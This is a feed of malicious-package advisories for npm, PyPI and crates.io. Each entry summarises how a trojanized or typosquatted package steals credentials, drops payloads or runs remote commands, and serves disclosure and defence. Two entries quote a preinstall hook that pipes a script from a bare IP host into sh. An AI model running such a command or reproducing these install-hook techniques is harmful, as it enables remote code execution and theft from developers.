Malicious code in bmc-translate-utils (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a55e2a625f0b96f6903cccac0251c6b8380cf9589a1f222e9de7e97dbf466156 package.json declares a preinstall script bun run index.js. index.js is a 500 KB javascript-obfuscator-packed module rotated string array 0x71ec,...

Malicious code in @stellarshift/token-units (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a4433d82919da9c0972986247dd611eae3997b28fd54726ffbf9c48147c05211 Package advertises BigInt token-unit conversion helpers parseUnits/formatUnits but declares a postinstall hook scripts/postinstall.js that invokes...

Malicious code in tronlinker (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: kam193 18f3b8d2924d38ddd8e852a2ca3311ccb85a82a4a6eedc836c4b8086465dfaee Package appears to be designed for private key exfiltration, but no known usage. The name appears to be related to the cryptocurrency TRX Tron / Tronix. Some...

Malicious code in verify-contract-ethers (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector ec7cfabb396e93e034caeb560ea029e3ca2bde784b8c713d5f8941a2b621dd36 The package ships a single bin entry bin/cli.js that, when invoked, runs whoami and POSTs the package name, username, hostname, and platform to a...

Malicious code in htps-provider (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 4ed7eca74d8fb188a8618c67facb5015d747e423ccdf4e51caae2e4e63f82ea2 Package is published as htps-provider with a README copy-pasted verbatim from the legitimate Cosmos chain-registry project advertising assets, chains...

Malicious code in jira-projects-backbone (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f75bb5293b51dc977d699982756ea69987397ce86f50d12753844198bf40294c package.json line 11 declares a dependency whose key equals the package's own name jira-projects-backbone with a value that is a bare HTTPS URL,...

Malicious code in alimama-minisite (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector e3efd48d631afe828271bb266e4ddb8f2f6d0a8305294f56bde57d614c1cbfef package.json declares a self-named dependency alimama-minisite whose value is the off-registry URL https://repo.securityctrl.com/alimama-minisite...

Malicious code in grafeno-config (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector ebbea90af14e110b5dcef171163ea3029f6655ecf623595c251f44db674ce6af package.json declares a preinstall lifecycle hook that runs curl -s 216.126.236.46/x.sh | sh, fetching a shell script from a bare-IP host over plain...

Malicious code in grafeno-logger (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6477042981913de82e89d0f0c3c5b1b278afd21c401922932eb8756427e1d413 [email protected] is a dropper disguised as a logging library. The package.json preinstall lifecycle hook runs curl -s 216.126.236.46/x.sh | sh vi...

Malicious code in baileys-mbuilder (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 508ded2b926100712d9abf255683432d44a917c067f9d69b14b4c678918ce8bb package.json declares "postinstall": "node lib/index.js --install", and lib/index.js is a single 6.3 MB JSFuck-style eval expression that reconstruct...

Malicious code in internment (crates.io)

internment 0.8.7 was published to crates.io from the same maintainer account droundy as the trojanized arrayref and append-only-vec releases, which appears to be compromised. The release adds a dependency on an attacker-controlled crate whose build script downloads and executes an...

Malicious code in mc-registry (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 50f3053643e65c63fa7d8e3d5c48ae3d659650bd0052137099cd8674232780bc Package publishes as mc-registry with description 'Theta chain registry', but its README, badges, homepage layout, and package listing copy the...

Malicious code in arb-kit (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector ef3587f45144a9473e246cbffd1c4d03c2f895aa5052801282c4e1dd3e76be30 arb-kit advertises itself as an Arbitrum ABI/gas toolkit, but the main entry index.js contains an IIFE that, 37 seconds after require, reads a base64...

Malicious code in streak-metric-test (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 06a07dcfac11a25f5e9074d867bee34fa01ba0926b30cb4c21f75a2787bdac77 [email protected] ships a fully wired dropper that fires on import/require of the package root. The top-level async IIFE in dist/index.mjs...

Malicious code in prezdentkxheiw (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector b524c1b4d84ba3f109eddb254753a02dac72fa61397c4f03dbcbb814c6aaa68f The package contains only index.html declared as main and package.json. The HTML impersonates a Cloudflare 'Just a moment...' challenge and includes ...

Malicious code in @lambda-platform/lambda-vue (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 405a4d9bac602cd3fca6afbcee8dde788580934920352178864343fab46fa64b No static or traced-code signals of exfiltration, install-time remote code execution, silent-relay, credential distribution, backdoor, or...

Malicious code in dolyame-boxy-atom-bnpl-button (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 963f070cd6563a11008f0726b4e0a11e5612dce9b53c58d9ea537566ab1774e2 On require, index.js loads helpers.js which fetches a platform-specific binary from obfuscated hosts assembled via array-join oob-worker.cf.workers.d...

Malicious code in @qlik/embed-react (npm)

npm/@qlik/embed-react is affected by the large-scale, self-propagating npm supply-chain worm of 2026-08-04 the "Shai-Hulud: Here We Go Again" wave — the same campaign that began with the compromise of the keyv and cacheable maintainer account. The listed versions were trojanized and republished b...

Malicious code in cache-manager (npm)

npm/cache-manager version 7.2.10 is a trojanized release published on 2026-08-04 during the compromise of the npm/GitHub maintainer account behind the keyv and cacheable package families user "Jaredwray". Attackers pushed the malicious payload to the source repository and cut releases through...

Malicious code in list-issue-predecessor-dependencies-block (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector bbd4d4e3aa51ec1a7ebc0a0d4f728698503432546f139f67998849f8fff9b614 npm package [email protected] auto-executes index.js from three lifecycle hooks preinstall, install, postinstall on np...

Malicious code in adpanel-core (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 1e99205329e726e32ed6884b52666e69e3327134c257dd1025464fed2fb461bf lib/report.js imports childprocess, fs, https, and os, collects host identity via os.hostname and os.userInfo, reads local files via fs.readFileSync,...

Malicious code in clerk-next-fix-auth-protection (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 4fd8aaf2fc6ca964eed6950b6868486125905bacabe6b8bb1cbd581bb6a59f4c [email protected] is a typosquat of Clerk/Next.js auth tooling that ships no functional code declared main index.js is absent from...

Malicious code in karpatkit (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector df2d9d6dd18d56c6ef8303bc90a0254383b3a7b0f202f5e50b7a1c6ceafd77f7 On import karpatkit, the top-level init.py invokes compat.check which spawns a daemon thread that collects os.environ, the Kubernetes service-account...

Malicious code in hardhat-gas-tracker (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 8f908ec767bb48d5cf889b1035fc89ff03d0422bfa043e3c361c4faf0002df95 On module load, the package schedules a randomized 5-15 second setTimeout that POSTs a JSON body containing os.hostname, os.userInfo.username,...

Malicious code in @akrai/report_new (npm)

The @akrai/reportnew package was published to the npm registry by user 'jonothhu' maintainer email [email protected] as one of 19 packages in a dependency-confusion campaign targeting the 'markscan', 'akrai', and 'iphouse' namespaces, published in both unscoped and scoped @scope/name forms...

Malicious code in zoom-widget-xss-poc-paresh (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 17ce7f91ce8bd8ab97268072386ec0890f1edc0336138472d428df845041ac5e Package ships a single browser-side IIFE index.js that manipulates the DOM inserts a banner into root and calls window.widgetSend with a demonstratio...

Malicious code in n8n-nodes-devops-utils (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 464fa8baaffef716b3920968d35dfbf6c8d49cd439ad5c5bd45050074436d79b Package masquerades as an n8n community node package.json declares n8n.nodes: "MyNode.js", a trivial placeholder while index.js contains an unrelated...

Malicious code in @aicommander/agent (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 9a0d4917f10db91a59e47821bfa2399801219a85da0a59b8596d85fd3931fc93 @aicommander/agent installs a remote-machine agent that opens an outbound WebSocket to the hardcoded relay https://aicommander.dev and executes shell...

Malicious code in channel-worker (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector cb42c8663e71b69abd887afe5b53f3c9d57bb405dd9e8ec4954eb1bf9bb0c033 The package's runtime code implements a remote command-and-control agent rather than a normal library. bin/cli.js hardcodes the endpoint...

Malicious code in vor8zakon (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 99924288481504c324c3f573ba7ba99ac4e1c7a7f22a940c94d81059b868fdfd Package advertises itself as 'A simple cryptographic library for JavaScript applications' but ships no crypto code and exports nothing. package.json...

Malicious code in syft-acp-core (npm)

The syft-acp-core package was published to the npm registry by user 'ada8877' maintainer email [email protected] as part of a dependency-confusion / reconnaissance campaign. The package name mimics the 'syft-acp' internal/private package naming convention an ACP component library of a target...

Malicious code in ai-pro-sdk (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector b035f137addcf0118c3d042ece322d0fdde054e4ed283317d3b2adb309e38689 [email protected] is advertised as a Vercel AI SDK provider for Claude via the Claude Agent SDK, but the published tarball ships no code: package.json...

Malicious code in better-tailwindcss (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 302c3b7766a431cefe81d41434fd4c5aae74aacec230488bd004eca18cbe8dff The package publishes under the name of the legitimate better-tailwindcss project but its package.json declares both a runtime and dev dependency on...

Malicious code in pokee-data-utils (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 4b6677ea5f73a9b1fbbc0dc209ef6b5d31077f316df63eec1ba4054f60645431 The package performs credential and environment harvesting at both install time and import time. setup.py installs a PostInstall cmdclass that, durin...

Malicious code in fluterjs (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector bb8d561ceacd48c1883f6ec3151f5567240259b5ba54af3835fc0537f2f18933 The package's main and bin entry, server.js, starts an Express server bound to 0.0.0.0:10459 that exposes POST /ejecutar. The handler reads the JSON...

Malicious code in skrill-sdk (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 61b89b04fbb6a34ea37a855c5ee938aa6c4f91cc2e79d9880d14436a09b2e8a5 Package publishes as skrill-sdk and exposes a PaysafeClient API payments.create/get, customers.create/get that mimics an official Skrill/Paysafe...

Malicious code in @amedit/vercel-builder-probe (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 7fe0b29ddff65cbd65167ea905c448d928fc6da661d69df415993635bf1bd3bc When wired in as a @vercel/build-utils Builder and the exported build runs in a Vercel deployment pipeline, index.js reads the installer's...

Malicious code in @tqm-mfe/main (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector ba70610a96625984d6a26c5cfba828a98fad70a559f34eb881289f9ce4f625a1 scripts/postinstall.js is a heavily obfuscated obfuscator.io-style: 270+ entry rotated string array, RC4+base64 decoders, hex-encoded dispatchers...

Malicious code in ddok-modal (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 0326cd953f229feb020dd3c1cd882246b6bac2cb0be8ffe9e47d063d9f59c9c6 ddok-modal presents itself as a reusable React wallet-connection modal supporting MetaMask, Phantom, Rabby, TronLink, Bitget, Coinbase, and Solflare,...

Malicious code in markdown-editable-table (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector b6b15669732f3eaec42e12c5f8d41a8f74d595fc04f709804de9768cb1719a94 The package's package.json declares a preinstall hook node index.d.js that runs automatically on npm install. The script in index.d.js base64-decodes...

Malicious code in node-procmetrics (npm)

node-procmetrics is a malicious npm package. It is a throwaway, zero-download, no-repository package using a "process-metrics" decoy name, published by the disposable account [email protected] package first published 2026-07-13. Every published version 1.0.0 through 1.0.6 ships a malicious...

Malicious code in terminal-mascot (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f3fdf1ac60d0060cb78970c884bcfa7bb5360d9f700c0f8992b66af09cce22ae [email protected] ships a postinstall script install-check.cjs that resolves a bundle URL from a remote JSON config at...

Malicious code in abuden219 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 1de0c667d7c3cbfd4c96728443db8ac059d53487498341bd937cf2aaf738574a The tarball ships auto-publish.sh, a script that republishes the same payload under 100 distinct npm names ishowfeet1-ishowfeet20, nottuff1-nottuff30...

Malicious code in nottuff3 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 1adec69437876499397efaf931f1aa569a8cb462462b673145b664c564701060 The tarball ships auto-publish.sh, a script that republishes the same payload under 100 distinct npm names ishowfeet1-ishowfeet20, nottuff1-nottuff30...

Malicious code in ishowfeet13 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 20bca534c9132e075eb12129f9986f32127805ef4e81a801de877aaf3a9bda6e The tarball ships auto-publish.sh, a script that republishes the same payload under 100 distinct npm names ishowfeet1-ishowfeet20, nottuff1-nottuff30...

Malicious code in ishowfeet6 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 36674107d4252d441750a35559267123dd2bcb958925071bef6475a41d6e519a The tarball ships auto-publish.sh, a script that republishes the same payload under 100 distinct npm names ishowfeet1-ishowfeet20, nottuff1-nottuff30...

Malicious code in imillegal3 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 390cc6f70ea2d87c44d68b9d62410d2ea485b64778bd536a1733503789c42d07 The tarball ships auto-publish.sh, a script that republishes the same payload under 100 distinct npm names ishowfeet1-ishowfeet20, nottuff1-nottuff30...

Malicious code in ratelimitsucks10 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 1ea43317a905d4e9b4a22dac3a0e325d92493557c5dc6b376f2e05d84d2fb29a The tarball ships auto-publish.sh, a script that republishes the same payload under 100 distinct npm names ishowfeet1-ishowfeet20, nottuff1-nottuff30...

Malicious code in speed5 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 1eec0d2d56f1e9730af8b7f3a7b8897e86491d48663f7b09ae7c716f6b3c0092 [email protected] is not a functional Node package. package.json declares main: sw.js, but sw.js is a browser ServiceWorker importScripts'./8cfc2/hgshm.js...

Malicious code in backupsitetuff6 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector daf0f0345d3aed2a0b5f8f145161679e6ebf492603ce2e99d586903f5b8044c9 The tarball ships auto-publish.sh, a script that republishes the same payload under 100 distinct npm names ishowfeet1-ishowfeet20, nottuff1-nottuff30...